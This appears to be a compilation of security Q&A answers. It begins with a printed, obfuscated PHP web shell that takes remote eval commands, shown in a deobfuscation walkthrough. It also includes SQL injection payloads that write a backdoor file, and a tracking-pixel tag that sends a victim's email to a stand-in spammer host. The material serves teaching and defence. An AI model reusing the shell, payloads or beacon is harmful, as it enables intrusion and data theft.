actionRC(){if(!@$_POST["p\x31"]){$ugtfpiyrum="a";${${"\x47\x4c\x4fB\x41LS"}["\x76r\x76w\x65\x79\x70z\x6eipu"]}=array("\x75n\x61m\x65"=>php_uname(),"p\x68\x70\x5fver\x73\x69o\x6e"=>phpversion(),"\x77s\x6f_v\x65\x72si\x6f\x6e"=>WSO_VERSION,"saf\x65m\x6f\x64e"=>@ini_get("\x73\x61\x66\x65\x5fm\x6fd\x65"));echo serialize(${$ugtfpiyrum});}else{eval($_POST["\x70\x31"]);}}if(empty($_POST["\x61"])){${"\x47L\x4fB\x41LS"}["\x69s\x76\x65\x78\x79"]="\x64\x65\x66\x61\x75\x6ct\x5f\x61c\x74i\x6f\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65c\x68\x79\x6d\x7ad\x64\x64"]="\x64\x65\x66a\x75\x6c\x74_\x61\x63\x74\x69\x6fn";if(isset(${${"\x47L\x4f\x42\x41LS"}["\x69\x77ir\x6d\x78lqtv\x79\x70"]})&&function_exists("\x61ct\x69\x6f\x6e".${${"\x47L\x4f\x42\x41\x4cS"}["\x75o\x65ch\x79\x6d\x7a\x64\x64\x64"]}))$_POST["a"]=${${"\x47\x4c\x4f\x42ALS"}["i\x73\x76e\x78\x79"]};else$_POST["a"]="\x53e\x63\x49\x6e\x66o";}if(!empty($_POST["\x61"])&&function_exists("actio\x6e".$_POST["\x61"]))call_user_func("\x61\x63\x74\x69\x6f\x6e".$_POST["a"]);exit;
?>

Let's copy and paste this into UnPHP. Once the results are in, we can finally see what it's doing, but it looks all smashed together. Let's paste it into the PHP Beautifier. Now it's a lot easier to read!

Deobfuscating variable names
If you're not able to deobfuscate variable names through any of the previously-mentioned methods, then deobfuscating those variable names can be a manual, time-consuming process. Fortunately, looking for common malware patterns such as shutting off the log files, using eval() or preg_replace() with obfuscation indicates that something is wrong.
Obfuscation is the wrong approach, so if you find code obfuscated on your website, you should assume you've been hacked. You should not be obfuscating your code. Security at the expense of usability is not security.

Deobfuscation Risks
Trying to decode these files on your own web server is not safe for a lot of reasons, some of which may be unknown to us. Do not try to deobfuscate PHP files on your own web server. You could inadvertently introduce additional backdoors, or assist the malware in spreading itself because many of the scripts load functions remotely.

That's nice, but how did I get hacked?
This is really too broad to answer without us having access to everything on your web server, including logs.
You may have incorrect hardening on your Content Management System (CMS) installation, or there may be a vulnerability somewhere in your web stack. You can check these links if they're part of your CMS:

Joomla Security Checklist
WordPress Hardening
Drupal Security Checklist

If your CMS isn't listed, look for hardening/security checklists for your CMS installation. If you are not using a CMS, but rather your own code, then it's on you to fix your security holes. The OWASP Cheat Sheet serves as a good starting point to finding and fixing common vulnerabilities. Remember, only you can prevent shell access.
There could be any number of reasons why this is happening... but the bottom line is: either your web host has been hacked, or you have an exploit on your website which allows malicious individuals to insert additional code and give them full control over your website... meanwhile, they are attacking your visitors.

So what do I do?!
You should read this Q&A: How do I deal with a compromised server?


Is rowhammer comparable to faults caused by radiation?

Yes, the principle and impact is the same. One of the specific properties of Rowhammer is that it is affecting nearby memory rows only (hence the name rowhammer). This makes establishing non-destructive attacks a challenge.


Is removing semi-colons an effective defense against SQL injection?

The obvious risk is information disclosure e.g.
where 0=1 UNION ALL select secret_data from somewhere_else or a myriad of other ways.

Depending on server configuration, the same select may allow to (for example) access the filesystem e.g.  union select "someinterestingcode" into outfile '/var/www/backdoor.php' or something like that.

Sanitizing arbitrary data by filtering "everything" is very hard to do properly. It's prudent to find a way to do proper parametrized queries, even if that's not easy.


Please read the following previously asked questions:

How important is NAT as a security layer?
How can someone hack my PC if I am connecting to the internet through NAT?
What kind of attacks against home router's NAT do exist?

They answer all of your questions.

The short version is:

NAT does not automatically imply that all inbounded connections are blocked.  NAT and firewalls are, in principle, orthogonal.  Generally speaking, most NAT boxes also happen to provide some firewall-like protection: they tend to block incoming connections.  This is not an inherent or necessary property of NAT; it is just that most consumer devices that provide NAT also happen to provide this sort of firewalling as well.
Blocking inbound connections (whether you want to attribute it to the firewalling functionality or the NAT functionality) provides a basic level of defense that works pretty well against a common class of attacks.  That makes it a good thing.
No, neither a firewall nor a NAT implies that your network is totally secure against external agents.  Blocking inbound connections provides a level of defense against certain attacks, but not by any means all attacks.

But you really need to read the prior answers.  I'm not going to repeat all of the excellent points made there.


German police malware "Staatstrojaner" general question

From the article, here's my understanding:

The core of this malware is a dll that registers itself to start up on boot, and a kernel module that allows the dll to access kernel-level function that it would not otherwise have access to. Once running, the program listens for incoming commands; depending on the command, it can do a number of things - take a screenshot, record a screencast, etc.; most of these do not require root permissions.

Spying on skype and e-mail happens through user-level API calls - it's as simple as grabbing screenshots and recording audio from the sound card's mix bus. The resulting data is sent back, with AES encryption applied (but in a way that makes the entire encryption process useless - they use a symmetric key, which is hard-coded into the executable, and has been published by the CCC; anyone possessing this key can now easily spoof responses, with no way of checking whether they're genuine.) Another delicate detail is that since the malware mainly spies on local things - it can take a screenshot of an e-mail you're currently writing, and post it back home, regardless of whether you actually send the e-mail or delete it.

There is also a command to download and execute arbitrary code, with full administrator permissions, and this part requires root-level access (otherwise the user would be presented with the usual UAC prompt, exposing the malware).

So yes, the malware contains some kind of root kit, but most of its functionality can be achieved without it.

EDIT:
Note the second update by CCC, now 2 years old, for mentioning the discovery of a new software version. It was published three weeks after the first update already linked to from a comment below.


Does storing your files as single compressed archives compromise integrity?

it is true that having 1 file for several files may mean (depending on the algorithm) that having that file corrupted could induce that all (or several) of the embedded files are corrupted.
however the concern should be on avoiding corruption :

have several backups of the archive, stored on several locations, to avoid losing them all at the same time (theft/angry employee/earthquake).
and to detect if corruption occurs at the time of making the archive, it should be tested : always test backups in some way : for example, once you have archived things on several medias  (or locations), use a method to test the archived media againt the originals. Preferably using another machine, to avoid having a "reversible" problem making the archive look like the original even if corrupted.


Malicious logic and backdoors. You're not likely to find an automated tool to automatically detect things like backdoors, malicious logic, timebombs, etc.  These are too hard to detect with current techniques; it is too easy to hide a backdoor that current analysis techniques are not likely to find.  (This is true of both static analysis and dynamic analysis.)  Moreover, these kinds of backdoors are very rare -- probably not common enough to justify significant investment into building such a tool.
I think you should be worried more about vulnerabilities and bugs than about maliciously placed backdoors.  They're a lot more common.  And, if you are in a security-critical setting where you think there is a significant threat that a third party might try to deliberately insert a backdoor into a particular piece of code you are using, well, you shouldn't use that piece of code unless you trust the supplier.
Today, the most effective development-time defenses against malicious backdoors and timebombs are as follows:

Vet the developers. Choose developers who you trust.  Normally, you'll want them to be your own employees.  If you use external suppliers, you'll need to vet them carefully.

Mandatory code review. All code should be reviewed by a second person, other than the developer.  The software development workflow and repository should be designed to track and enforce this policy.  This provides two-person control: no one person can introduce code that isn't reviewed, and thus if everyone is taking the code review requirements seriously, this process should make it harder for a single individual to introduce a backdoor without being detected.
See also How to review code for backdoors? for related discussion.

Secure software repository. Lock down the source code repository and build processes to ensure that no single insider can introduce malicious code into the binary.

However, these techniques remain limited in their effectiveness.  I think you should also look at other defenses, such as risk transfer, isolation and sandboxing, and monitoring; I elaborate on this elsewhere on this site.
Bugs and vulnerabilities. I would suggest that, for most purposes, you should be more concerned about bugs and vulnerabilities (inadvertently introduced by a well-intentioned but fallible developers).  There are many commercial and open source tools for scanning source code to detect bugs and vulnerabilities.  For commercial tools, see the trade press; check out, e.g., Fortify, IBM Appscan, Veracode, and their competitors.  The commercial tools are generally better than the open source tools.
If you are using a third-party open source library, I would also suggest that you check the CVE vulnerability database for past and open reports of vulnerabilities.  Look to see how many vulnerabilities have been reported, how rapidly they were reported, and whether the project has technical details on the nature of the vulnerability.  This should give you an idea of the project's security stance.
If you want a more in-depth look, you could look at the Coverity Scan database to see if they have scanned the library.  You could also look through the library's bug tracker to see how they have handled security issues in the past.  You could check to see if they have a clearly indicated security bug reporting process or place to report security bugs.  These will give you a sense of the maturity of the project's software development process and its attitude towards security.
You may also find the following industry white paper of interest: The Unfortunate Reality of Insecure Libraries.
Open source.  Your question seems to suggest you may be thinking that backdoors and timebombs are a greater threat in open source code than in closed source code.  While that could be true, I'm not aware of any evidence for that assertion.  If you're worried about backdoors and timebombs, you should probably be worried about it in all the code you are using, open source or closed source.


Should webservers staple unsuccessful OCSP responses?

The webserver behaviour described is undesirable and appears to be due to a Apache configuration default for the SSLStaplingReturnResponderErrors setting. There have been numerous online posts questioning the logic behind these configuration defaults.

Additionally, alternative webserver implementations do not follow suit. Caddy will not serve stapled responses if there was an error when calling ParseResponse which results from a non-success ResponseStatus such as TryLater. This ensures that the user gets the latest available OCSP staple which is valid.

The approach is clearly optimal for ensuring the user maintains access to the site even when OCSP responders are offline or having difficulties. There is a trade-off between security and site availability, but given the short lifetime of OCSP responses this seems quite a reasonable solution. The browser can decide if it's willing to accept the last-known-good response.

A response of "the CA said the cert was valid at $timestamp" will allow the user agent to make a much better, informed decision than a "OCSP server didn't give us anything, try later" response.


Managing a large amount of MBSA Results?

There is the MBSA Management Pack from MS. It provides reports and performs some of the basic tasks an MBSA admin might need to do.


Does using characters specific to language make password stronger

Using characters specific to language does make password stronger, but not exactly for the reason you stated. If you count on the attacker not including your language specific characters into their dictionary, then your password will only be safe until they know that you are using a non English alphabet. And according to Kerckhoffs's principle , you should presume that they already know this.

However, if you use your specific characters along with character in English alphabet, your password will become stronger simple because each character in your password will have more entropy. Let's say we are using a randomly generated, lower case only password (in practice you should mix both lower case, upper case and special character, but the basic is still the same). Take your Polish alphabet for example, if you combine Polish and English alphabet, you will have 35 distinct characters, while the English alphabet only has 26. That means each character in our Polish+English password will have roughly 5.13 (log2(35)) bit of entropy, while a character in the English password will only have around 4.7 (log2(26)) bit of entropy.

Now let's say our password is 15 characters long, in the first case we have 15 x 5.13 = 76.95 bit of entropy, while in the second case we only have 15*4.7 = 70.5 bit of entropy. If you keep mixing more and more different alphabets, then each character in you password will have more and more entropy, and your password will become stronger given the same length. However you run the risk of not being able to login from other devices because they don't have your language keyboard installed, that's something you should keep in mind.


How to determine if Windows 10 executable can connect to my network

You could always setup a firewall rule.  Open Windows Firewall, and select ADVANCED SETTINGS
Right-click on OUTBOUND RULE, select NEW RULE.
Select PROGRAM
enter the pull path the exe under THIS PROGRAM PATH
BLOCK THE CONNECTION
Apply to All 3 connection profiles (domain, private, public)
And give it a name... done!


how long does it take to actually generate rainbow tables?

A rainbow table is "just" a compact representation of a table of precomputed hash values. During the construction of the rainbow table, many possible inputs are tried and hashed. Each input which has been encountered during table construction will be successfully attacked with that table, and none other. The hash evaluation concentrates most of the table building cost.

So, basically, the cost of building a rainbow table which can invert N passwords is roughly equivalent to the cost of trying those N passwords through the hash function -- the point of the rainbow table being that you build it once and then can use it to break several passwords. (To be precise, due to chain collisions during table construction, the cost is in fact closer to 1.7*N, but let's ignore that for the moment.)

I have once made some experiences with SHA-1. A simple password hash with SHA-1 has the cost of processing a single "block" (SHA-1, like MD5, processes data by 64-byte blocks), which needs about 900 32-bit logical-or-arithmetic operations. An optimized implementation on an Intel Core2 x86 processor can do that in about 500 clock cycles. However, password attacks (whether directly or for rainbow table construction, it does not matter) are a highly parallel job, so one could use the SSE2 instructions which offer 128-bit registers, and where a single opcode can perform four 32-bit operations simultaneously. SSE2 has less kinds of operations available (in particular, it does not offer rotations, only shifts), so the operation count rises to about 1200; but, under some conditions, the SSE2 unit will execute several opcodes simultaneously. So we end up with 800 clock cycles, for four SHA-1 instances in parallel. Bottom-line: my PC is an Intel Core2 Q6600, with four cores running at 2.4 GHz. Each core can run my SSE2 implementation, resulting in roughly 48 millions hashed passwords per second.

I also have a not-too-small Nvidia graphics card, and the GPU can run arbitrary code through CUDA. This is a 9800 GTX+, with 128 cores running at 1.84 GHz. Each core may execute one 32-bit operation per cycle (there is a high latency, but, thanks to the high parallelization, this one-instruction-per-cycle throughput can be maintained). The cores do not know about rotations, so each code will use 1200 clock cycles per hashed password. The total performance is 160 millions hashed passwords per second.

My PC and graphics card are from early 2009 and are not top-of-line. One can find nowadays, for a few hundred dollars, a GPU which will hash passwords about three times faster than my 9800 GTX+. So let's assume that an attacker with a common PC (which costs less than 1000$) can hash half a billion passwords per second.

At that speed, all passwords with 8 alphanumeric characters (uppercase and lowercase letters, and digits) are gone through in about 5 days. With a 1000$ PC. If you use MD5, things are about 30% faster (MD5 uses a bit less operations than SHA-1). Good password hashing schemes do not use a simple hash invocation, though: they use iterated hashing with, say, 2000 nested hash invocations: this multiplies cost for the attacker by the same 2000 factor (so it turns the "5 days" into about 28 years, literally "ages" as you put it).


When do flash drives overwrite previously written data?

Wear leveling on modern flash drives is a very complex topic, and the big manufacturers have all devised proprietary algorithms for it, so it's hard to give a general answer, but I'll attempt to.

All modern flash drives have more flash space than is advertised to the OS.  There are sections of flash that are used just for wear-leveling and replacement of bad sectors.  These are not accessible from the operating system interface to the flash drive.
Blocks are large compared to rotating media.  It's not unusual to have erase blocks of a couple of MB in size.
Wear leveling attempts to keep the average number of writes per block the same.  Because statistical models are used in modern flash drives (expecting that files are naturally written to in a non-random fashion), this does not mean that in the short term, the number of writes per block will be the same.
Some flash controllers compress data before writing it to flash because the controller is faster than the flash.  This gives improved write speeds in benchmarks.  Especially if you were to try to erase a flash drive by writing a bunch of \0 bytes to it.

Consequently, there is no point at which it is guaranteed that a given block has been overwritten, but there is an increasing probability of it.  So how does one manage flash media properly to prevent the loss of confidential information to a determined adversary?

Encrypt data going onto removable media in a secure fashion.  Any kind of removable media should be encrypted (if permitted at all) in an enterprise dealing with sensitive data.
If you need to ensure that media that was not encrypted is destroyed beyond retrieval, physically destroy the device, including all of the flash chips inside.  I'm not aware of any forensics technique that will work on flash chips turned into multiple pieces.
If you're dealing with an SSD and not a USB flash drive, you can try to perform an ATA secure erase.  For major manufacturers, these appear to be implemented correctly.
If the flash drive needs to be reused, your next best option is to completely fill the drive with random data multiple times.  On Linux, you can use the shred utility, or dd if=/dev/urandom of=/dev/flashdrive bs=1M.  shred is nice because it can do the multiple passes for you.  Multiple passes are necessary to increase the likelihood of overwriting the sectors reserved for wear leveling.


How does the MITM (Man in the middle) attack happen with respect to SQRL

The MITM-related issue with SQRL derives from the fact that the authentication request and response happen across two different channels, and an attacker can successfully conduct a valid authentication request/response from an invalid site. That is, an attack site could fetch an SQRL code from the correct site, and present it to the victim. The victim can authenticate against the provided request, but by doing so he'll log in the attacker instead. The lack of coordination between the browser and the phone means that you can't protect this step.

In this sense, SQRL isn't any more susceptible to phishing/MITM than passwords, and it's somewhat better in the sense that authentication has to happen online. But it's worse than existing alternatives, and that's the problem.

So, for example if your mother or boss or coworker or friend says to you: "I want to be more secure online, should I use SQRL?" Your answer must be: "No, use Lastpass and random passwords instead."

The fundamental difference here is that browser integration thwarts all phishing attacks, and since phishing is by far the most serious threat to your online safety, this should be your first priority, trumping all else. No alternative should be even considered if it doesn't protect against this threat, because it's the one you're most likely to face. If you're going to switch, switch to something that will keep you safe, not something that won't.

What of GRC's Countermasures?

GRC's first point about how SQRL codes are unique to a given site is irrelevant, and I'm not sure why he bothers to mention it. Basically he's saying that paypal.evil can't generate their own SQRL code for paypal.com. The attacker would have to fetch an authentic code from paypal.com and present it to the user. Which is exactly what they'd do.

The "Login Redirection" countermeasure is really only feasible if you're using browser integration... in which case it's completely unnecessary, since the browser can already tell whether it's at the correct site or not. If you're using SQRL with a phone as originally designed, then the "login redirection" link would have to be manually typed into the URL by someone reading it off the phone. So... that's not going to happen.

The "Action confirmation" countermeasure is a load of silliness. The idea is that you log in to the bank with SQRL, then each and every activity (including viewing sensitive data) done on the bank website would have to be manually confirmed on the cell phone. It'd be like using the bank's own cell phone app, but with added inconvenience.

The source-ip verification stuff that GRC goes into great detail about is a hack. The protection is inconsistent and incomplete, and implementation would be messy and error-prone  to say the least. This is important because while it may be "better than nothing", it's not "better than the alternative"; you can actually have good security, but this isn't it.

All of this is an attempt to retrofit critical safety provisions into a system where it wasn't designed to fit. And that's really the core of the problem: the system was built to solve uncommon or nonexistent problems, while ignoring real, serious, and pressing problems. So we're taking a system that was poorly-designed to begin with and attempting to patch it to make it "professional-grade". That's kind of like taking skyscraper blueprints drawn by an auto mechanic and attempting to fix them to make something that could actually be built. The most practical and effective approach is to start over from scratch.

Could we build a secure alternative?

Of course we could. But the key to doing so is to look first at your primary usage case and threat model, and build the system accordingly. For example, SQRL was designed such that all authentication happens on your cell phone. You could retrofit the solution to allow for browser integration, but all the features and design decisions were based around the assumption that your cell phone is your identity, which is why phishing protection is so difficult.

Designing a system to address all of the most likely attack scenarios really is simple. All the necessary components exist, and all the problems have already been solved. I won't go in to the details here since this isn't the place for it, but I would wager that if you asked a dozen real security and identity experts, they'd all come up with roughly the same design.


How might an email do damage merely by being opened?

I'll give you a really simple example. A common spammer trick way back before clients were updated to counter this was to embed a 1px square GIF in an HTML email. You'd get a message like this:

<img src="http://nastyevilspammer.invalid/pic.gif?email=poorvictim@domain.com" />

Needless to say, that pic.gif is in fact a cgi script which takes a get parameter. The result looks like this:

Client opens email.
Client automatically renders html including fetching all remote content.
nastyevilspammer.invalid is asked for that address, including the email in the get parameter.
A program is triggered on the server, records the get parameter and returns the 1px GIF.

This trick was used to confirm email addresses as active spam targets, to move them onto active address lists, which spammers then sell.

The problem, and solution, lies in step 2 - automatically trusting the incoming content.

Bugs in the email client that only require the email to be read require a bug in the client reader that can be used to trigger the exploit. For example, a HTML rendering engine might load the flash player. It's unlikely, but there could be exploits in the client's string processing code. And so on.

Now, this also applies to web clients too - who will be supplying html to the browser to render, thus opening up all attached browser vulnerabilities. I wasn't going to read the article, but I now have:

  The new generation of e-mail-borne malware consists of HTML e-mails which automatically downloads malware when the e-mail is opened.'

The article is a little light on details, but I'd like to take time to provide some more calm advice:

This is the Daily Mail and I'm from the UK. They do have a tendency to scare stories.
This is not by any means a "new generation" of malware. People have been exploiting HTML-email bugs since the Stone Age, or at any rate since before the first Matrix movie, and drive-by-downloads have been going for a while too.
A very simple counter measure is to configure your email client not to render html content at all, by default. You can then optionally load html email from trusted sources. Most decent email readers can do this and do this by default - including GMail and Thunderbird (the two clients I use).
You can go a long way to improving your chances of avoiding malware by doing the usual: turn on Windows Updates. Install firewall/antivirus. Be careful of what sites you visit. Add security-focused extensions to your browser (NotScripts, noscript etc). Use the latest browser and OS you can. Etc.

and finally:
Email may appear to come from your contacts/friends, but you've no way to verify that - be wary. Your bank/building society do not need you to verify your contact details via the internet - if they did have an issue they'd likely write to you and if you're ever unsure, go to your branch. A rich man in Nigeria has not  left you a large inheritence, those blue pills don't work and anything else that seems too good to be true probably is.


Encryption Key Storage for the Average User

Same as backing anything else up. Copy the key to removable storage and keep it somewhere secure. A couple of cheap flash drives would provide redundancy on one of the drives dying. If secure storage is an issue than encrypt this drive with a password.

Worth noting - where do you keep the original keyfile? Because if its on the same drive as the encrypted volume chances are losing one leads to losing both. I.e. backing up the key to a separate drive only makes a lot of sense if you back up the encrypted data too.


How do I protect myself from clickjacking attacks?

First and foremost, your web browser must be kept updated. So are your plugins and plugin-related applications, especially Java and Flash.

Secondly, it's very recommend to use the ClearClick functionality in NoScript. If you're not planning to block scripts, you can use the relaxed settings, but make sure you enable ClearClick. This feature protects against the vast majority of clickjacking attacks varieties.

Finally, exercise common sense. A website that tells you to click a button to win an iPhone is very likely a scam, so is the website asking you to click a link so you can download a full version of some explicit material (such as videos and pictures with sexual contents). The same goes for the webpage promising you videos of kittens saying silly things.


Does Authenticode still work offline and with a "fake" certificate

When code is signed with Authenticode, Windows checks the signature with regards to the public key contained in the embedded certificate, and that certificate is validated with regards to the "trusted CA" that the OS maintains in the "Root" store. Adding a custom CA to that store is highly feasible for anybody with Administrator rights on the machine (and this more or less includes anybody who has physical access to the machine). Signing your code protects against anything only if we assume that the attacker will not be able to recompute a fake signature relative to a fake certificate that would link to one of the trusted CA.

Ergo, signing the code will not prevent alterations from people who have access to the machine. This is a very generic situation, by the way: preventing alteration of software by the people who physically own the hardware has been the Holy Grail for game vendors and media content publishers. Somewhat limited success has been achieved with closed hardware (e.g. game consoles) but on a PC, this is doomed. (Some people are working on a way to do it but that turns out to be hard, both technically and politically.)

At best, your code signing may prevent silent alteration from attackers who do not bother producing fake certificates (i.e. some low-grade malware), but determined attackers will not be deterred.

Note: code signing might have legal benefits, though: if code signing is enforced, this might help in proving, during a trial, that whoever modified the code was fully aware that it was forbidden by the license. Don't take my word for it, though, because I am not a lawyer and any law-related answer is unlikely to be valid for all the legal systems which exist worldwide (there are about 200 sovereign states, after all, hence at least that many legal systems which are nominally independent from each other).


Sensitive information was placed in a publicly accessible folder. Who is responsible and how to proceed?

I would be reluctant to parcel out blame, particularly when it is clearly an honest mistake.  Too much focus on blame on one incident can poison the well and make people more reluctant to report security incidents in the future.  Even without any blame involved, it is already embarrassing enough to have to report that you screwed up and may have contributed to a security exposure.  I like that you say "I am primarily interested in learning from this experience" -- I think that's a very healthy and constructive attitude, and I encourage you to repeat it widely so everyone involved knows it, and act in a corresponding way.

By the way, you can think of this as an opportunity to model how you react to security issues.  Culture gets set not by the words company leaders say, but by the way they act -- especially the way they act when in a tough spot.  Modeling the "this is not about blame, it's about learning from the experience" attitude seems like a nice way to make a contribution to a healthy culture that will serve you well in the future.

Back to your core question.  I think the primary answer to this question is probably: communication.  The first step is for the folks involved to talk about this, and agree on whose responsibility it is.  Is it the responsibility of the web admin to confirm that all content which is put on the public web server, really is intended to be public?  Is it the responsibility of the person who is posting the content?  How would these people know whose responsibility it is?

Perhaps one possible lesson you could consider is: be cautious about what filesystems/mount points/shared directories you mount on your public webserver.  You might want to have a rule of thumb that there is a separation: each filesystem/shared directory is either (a) public, or (b) internal, and label the filesystem/shared directory accordingly.  Under this approach, you would avoid having a filesystem that contains some public files and some non-public files -- and when you add a new filesystem/shared directory to the public webserver, you might do a quick sanity-check to see whether that filesystem is indeed marked as public.  This is just one idea, and of course, it may or may not be suitable for you.  Don't get too caught up in the details of this particular idea; if it doesn't sound helpful, ignore it.  The more important point is to think a little bit about processes that can help you avoid these errors -- without getting yourself bogged down in needless bureaucracy.  You will know best what the culture and requirements of your company are like; you should be in a good position to brainstorm some ideas and start that conversation with your co-workers.


Well no, that won't work for you. The point of a client cert isn't really the cert part, but the private key tied to the client cert. If you don't have the private key you can't do anything useful. What would happen is that the request you send is encrypted with the servers public key and decrypted with their private key. Conversely, any response the server sends is encrypted with your public key (the cert). To decrypt the response you need a private key.

What you need from the other people is the PFX file. In actual fact, you should generate the keys locally, and send THEM the client cert. Just the cert though, not the private key.


Disable USB keyboard pluggability on MacBook

I guess you only want to use one USB port at a time (you could use a hub to this port in the few cases you need more ports) and you intend to keep this macbook until its out of service. (eg, it does not matter if some USB ports gets destroyed).

Then I would suggest filling all USB ports except one with Expoxy glue. The port you select to be open would ideally be easly visible or accessible so you can later detect tampering to this open USB port.

Then you use a USB lock. Theres numerious USB locks available out there, some has a "general" key that will fit all USB locks, other have a color-coded key that will only fit USB locks of the same color, and other have a completely unique key.

If you want, you could buy one of those laptop Cable locks with a key and a USB "tounge" that locks into the USB port, and then modify the device to remove the locking Cable, leaving only the "lock". Thus you lock the "lock" into your open USB port, and then it cannot be removed without the key or using force, and using force would also destroy the USB port and leave telltale evidence that manipulatiion has been in effect.

If you very rarely use your USB ports, only occassionally, you could even use one of those serially numbered "USB seals", which is a Little plastic device that you put into the open USB port (that you select not to expoxy), and stucks permanently. To remove the seal, the seal has to been destroyed, and then the plastic seal cannot be reused. Every seal then have a serial number, that you check against a secure source (for example, a paper in your wallet that you wear on yourself at all time) when you want to "go secure".


Is there a generic list of IT Risks that can be used as a reference to prepare an IT Risk Assessment report?

As you suspect, this is an issue of terminology. You're probably looking for lists of vulnerabilities, but to be safe I'd like to explain a little bit more.

I'm afraid the whole thing is rather complicated, but worth it in the end!

Before I begin, I should point out there are many different approaches to Information Security that may have their own terminology (I'm an ISO 27000 man myself.) So other answers may use different wording.

So, you have your system that you are working on, and you want to protect it from harm - that's what Information Security is, the systematic protection of information from harm.

For harm to happen, there have to be two things. A "threat", which is someone who will cause harm (either deliberately or by accident), and a "vulnerability" which is a way that the threat can do harm.

Two examples:
Your competitor ("threat") accesses your system via SQL injection ("vulnerability") in order to steal your customer list ("harm" - specifically a "loss of confidentiality")

Joe in shipping ("threat") can't figure out how your system works ("vulnerability") and always puts in the wrong value for widget crank setting. ("harm" - specifically "loss of integrity").

You can find lists of threats and lists of vulnerabilities online.

Threats tend to be easier to figure out yourself though - who might realistically want to harm your system? Who might accidentally harm your system?

So mostly you find lists of vulnerabilities. The OWASP top ten is a great place to start.

Where does risk come into this, then? Risk is a measurement that combines the likelihood of a threat exploiting a vulnerability with the harm that would come about if they did.

Risk assessment is used to figure out which threat and vulnerability combinations have a risk higher than you want to accept, so you know that you need to "treat" them - do something about them.

For example, if your competitors are all honest, and you are carefully handling your SQL input, and everyone knows who your customers are anyway, then the risk in example one is very low and so not worth worrying about. (Well, not worth spending money on, at least.)

Alternatively, if Joe is careless and the wrong widget crank setting will make your product catch fire, then the risk is high, and you need to do something about Example 2 ASAP.

Here's the thing though - each risk assessment is pretty much unique because the threats and vulnerabilities you face are in a unique combination. Something like the OWASP list is not a short-cut. It's more a list of things you should check to make sure you haven't missed any of them.


What is the connection between CORS and SameSite cookie attribute?

If an application is not using CORS at all then should we put this
  SameSite cookie attribute?

In a very simple language as you requested, YES.

  if Application has subdomain like abc.domain.com then what is the role
  of Samesite attribute ?

Irrespective of domain and subdomains CSRF attacks will be able to originate the request from the browser to do an action on behalf of the user without knowing the cookie of the user. Samesite attribute can effectively protect against CSRF attack. There are other ways to protect against CSRF too but this is one of the easiest and recommended way to do it.


No it is not. The baseband itself runs its own custom firmware which is not available for modification by the Android OS. If you could modify the baseband firmware, it would be theoretically possible to do this. Note that this may be illegal in some jurisdictions.


Are there any downsides to enabling guest WiFi account on my router?

Network segregation is an important concept on any network. There is a degree of implied trust when multiple devices are allowed to communicate on the same link. Devices on the same network may be able to probe each other and exploit any discovered weaknesses, or reroute traffic to perform a man-in-the-middle attack. Also with wireless networks, typically anyone who knows the PSK can passively decrypt all traffic.

These are just a few of the reasons why it makes sense to create a separate guest network, where untrusted devices will have no impact and gain no access to your personal network.

The problem is, I do not believe there is any official specification for how "guest WiFi" should be implemented in consumer products. So when you say your router supports "guest WiFi", I can only hope that it is implemented correctly/safely. But if it is indeed implemented properly, there shouldn't be anything to worry about; guests will be kept away from your main network, and will still be required to get a PSK from you before connecting. You would still want to keep the PSK fairly secret or have it rotate if possible so that your internet isn't used by unknown parties for illegal purposes if the key gets shared.

So I wouldn't describe it as a second door to the same house. As long as the router vendor is competent, it's more like building a guest house next to your real house, where the keys to the guest house do not work on the main house. In fact, I would even recommend creating an additional network for any smart/IoT devices that need to be connected, since they may be poorly secured.


Do cloud service providers offer insights on their security issues?

Those services absolutely do exist in the best Cloud platforms.

Microsoft's Azure, for example, not only has some of the best security (people processes, services and hardware) on the planet, they prove it by getting all manner of recognised security certifications. Azure has a number of services that allow you to monitor for events in real-time and they apply a number of machine learning techniques to help prevent information overload and only surface real issues.

It is hard to be more specific since there are so many services and each may require a slightly different approach. However, Microsoft are trying to centralise reporting and monitoring into a single event platform.

I'm not so familiar with other global Cloud platforms so I can't comment on those.

The other issue is that "cloud" means a lot of different things to different vendors. At the "low" end, it might just be some shared infrastructure - clearly security is going to be more of an issue there since, while you can very easily implement your own log aggregation and event management tools, the server and network hardware may be open to physical inspection. With the big global public Cloud providers, this is not an option since your data will be encrypted at rest and spread over multiple, random devices in the datacenter.

Obviously, it isn't possible to give specific answers without understanding how sensitive the data is and you absolutely must do a risk assessment on any cloud platform against the data and services you wish to run on it. But suffice it to say that there are many examples of regulated industries using global public Cloud infrastructure.


What is a good way to be alerted of major security patches for software I use?

You could try signing up for the US-CERT Weekly Vulnerability Summary.

  The US-CERT Cyber Security Bulletin provides a summary of new
  vulnerabilities that have been recorded by the National Institute of
  Standards and Technology (NIST) National Vulnerability Database (NVD)
  in the past week.

US-CERT also has some other alerts and options, including ATOM feeds. Take a look at https://www.us-cert.gov/ncas.


Is using dynamic obfuscation and peppers for password hashing a good idea?

What you are describing is essentially an extra salt encrypted with a key derived from an extra password consisting of dictionary words that are not chosen by the user.

I know this will appear as a rather vague and general criticism, but I see three downsides with this:

You are rolling your own. Inventing your own systems to solve problems with established solutions seldom enhance security. In the end you are more likely to make an error in the implementation and expose yourself than you are to improve your security. (With that said, speculating about new systems can be a useful learning experience.)
Complexity is your enemy. This introduces a lot of complexity, but it is not clear what problems the extra complexity is intended to solve.
Usability is your friend. Who wants to ontop of your password memorise another password that you are not even allowed to pick yourself? As a user I would want to have some substantial security benefits to accept that.

Contrast this with some other common practices to increase password security, and ask yourslef what your system provides to offest the cost in complexity and usability that these systems does not:

Encrypt all scrypt hashes (with hash, salt and all) using a HSM so that an attacker can not get hold of the encryption key.
Use two factor authentication (e.g. with a SMS login code).


How do I sign a short text message with ~/.ssh/id_{dsa,ecdsa,ed25519}?

For DSA, ECDSA using OpenSSL and using different functions and structures than for RSA.

It won't work for ed25519 keys, because their operations are implemented in the openSSH itself. But you can again reuse OpenSSH code and check how the sing & verify works there. You would also need to use OpenSSH parser, because the ED25519 keys are stored in the new OpenSSH format, instead of standard PEM.


How to check if a connection between a server and an app is encrypted?

Steffen Ullrich's answer correctly describes how you can check if a communication was encrypted or not.

However, you have another option to ensure that TLS communication is indeed encrypted. First of all, I am going to assume that you control the client, and that you will be acting in good faith (aka. not attempt to compromise yourself).

TLS works by having both the client announce the ciphers they support. The server then either responds with a cipher from that list, or in case the server supports none of them, an error message.

What this means is that you, as the client, can send a list of secure ciphers you would like to use, and expect the server to pick one of those it supports. Once the handshake has succeeded, your client will use that cipher for all following communication, and you can be certain that the encryption will happen exactly as specified. Otherwise, the server would not be able to communicate with the client.

